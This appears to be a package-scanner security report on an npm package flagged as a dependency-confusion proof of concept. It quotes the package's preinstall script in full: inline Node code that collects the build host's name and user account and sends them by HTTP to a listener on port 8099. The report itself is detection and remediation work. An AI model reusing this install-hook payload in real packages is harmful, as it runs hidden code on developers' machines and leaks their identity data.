registry / Install hook abuse / @rutxploit-sec/subsplash-canny
@rutxploit-sec/subsplash-canny
BUGBOUNTY PoC — represents @subsplash/canny — @subsplash/canny (2 refs) — Subsplash report 7a8faa0b
This report shows the evidence for @rutxploit-sec/subsplash-canny@1.0.0, the only known version.
AI Security Review
scanned 26d ago · by lpm-firewall-aiThis package contains an active preinstall payload intended to run when a dependency-confusion target installs it. The automatic collection and network action make this a blockable install-hook abuse case.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installing the package causes npm to run its preinstall lifecycle hook.
Impact
A dependency-confusion resolution can execute package-controlled code in the consumer build environment and disclose basic machine identity to a locally reachable listener.
Mechanism
The hook uses inline Node code to obtain operating-system identifiers and sends them in an HTTP query to a loopback endpoint.
Attack narrative
The package is positioned for dependency confusion and has an active install-time payload. On installation, it collects the build host name and account name and sends an HTTP request to a loopback listener. Even though the package text calls this a proof of concept, that text is not evidence of consent or safety; the automatic lifecycle execution is concrete supply-chain abuse.
AI rationale
This package contains an active preinstall payload intended to run when a dependency-confusion target installs it. The automatic collection and network action make this a blockable install-hook abuse case.
Evidence
package.jsonindex.jsREADME.md
Network endpoints1
127.0.0.1:8099/
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP.
- The runtime entry identifies the package as loaded from the public registry in a dependency-confusion context.
- The README describes a private-registry resolution scenario where the preinstall hook executes on a build server; its self-justification does not neutralize the active lifecycle payload.
Evidence against
- The only configured endpoint is loopback, so static inspection does not show direct transmission to an external host.
- No destructive command or credential-file collection was found in the small package.
Behavioral surface
HighEntropyStringsTrivial
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+e...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+e...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@subsplash/canny')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @subsplash/canny dep confusion EXECUTED — rutxploit'"
},
"author":
High
Ai Review Evidence
The manifest runs an automatic preinstall command that reads the host name and local account name, then sends them by HTTP.
Findings
1 Critical5 High2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSemantic Analysis Limitedpackage.json#scripts.preinstall
HighAi Review Evidencepackage.json
HighSuspicious Dependency Evidenceindex.js
HighSuspicious Lifecycle EvidenceREADME.md
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to @rutxploit-sec/subsplash-canny@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @rutxploit-sec/subsplash-canny@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.